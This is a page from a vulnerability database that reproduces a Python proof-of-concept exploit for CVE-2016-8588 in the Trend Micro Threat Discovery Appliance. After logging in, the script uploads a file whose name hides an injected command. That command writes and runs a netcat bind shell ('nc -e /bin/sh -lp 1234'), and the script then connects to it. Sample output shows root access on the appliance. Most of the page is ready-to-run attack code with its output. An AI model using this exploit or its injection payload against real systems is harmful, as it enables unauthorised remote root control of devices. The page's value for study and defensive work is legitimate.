| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| Trend Micro Threat Discovery Appliance 2.6.1062r1 hotfix_upload.cgi Remote Code Execution Exploit | 20 Apr 201700:00 | – | zdt | |
| Trend Micro Threat Discovery Appliance Arbitrary Code Execution Vulnerability (CNVD-2017-06836) | 3 May 201700:00 | – | cnvd | |
| CVE-2016-8588 | 28 Apr 201719:00 | – | cve | |
| CVE-2016-8588 | 28 Apr 201719:00 | – | cvelist | |
| EUVD-2016-9435 | 7 Oct 202500:30 | – | euvd | |
| CVE-2016-8588 | 28 Apr 201719:59 | – | nvd | |
| Design/Logic Flaw | 28 Apr 201719:59 | – | prion | |
| Trend Micro Threat Discovery Appliance - Session Generation Authentication Bypass (CVE-2016-8584) | 20 Apr 201700:00 | – | seebug |
`#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 hotfix_upload.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1
Summary:
========
There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.
Notes:
======
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
take command, upload bd, exec, read, rinse, repeat.
- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the
log_query_system.cgi was unstable.
- Auth is bypassed, see the other case...
Example:
========
saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py 172.16.175.123 admin
(+) logged in...
(+) executing bd...
(+) sleeping for a sec...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
ls pwn
pwn
cat pwn
nc -e /bin/sh -lp 1234
"""
import re
import os
import sys
import time
import requests
import threading
requests.packages.urllib3.disable_warnings()
if len(sys.argv)!= 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
sys.exit(-1)
t = sys.argv[1]
p = sys.argv[2]
bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
u_url = "%scgi-bin/hotfix_upload.cgi?sID=" % bu # you need the sid thingy
s = requests.Session()
def pwn(s):
"""
This 'upload' will trigger the command 3 times... so if you exit the shell,
you can come back another 2 times...
"""
# sorry k0rpr1t_z0mb1e, this requires no oob request
kungfu = "si;S=`echo $PATH|cut -c1`;echo 'nc -e '$S'bin'$S'sh -lp 1234'>pwn;chmod 755 pwn;.`echo $S`pwn"
u = {
'ajaxuploader_file': (kungfu, 'hax', 'text/plain'),
}
r = s.post(u_url, files=u, verify=False)
# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
print "(+) executing bd..."
ut = threading.Thread(target=pwn, args=(s,))
ut.daemon = True
ut.start()
print "(+) sleeping for a sec..."
time.sleep(1)
print "(+) calling backdoor!"
os.system("nc %s 1234" % t)
else:
print "(-) login failed"
sys.exit(-1)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation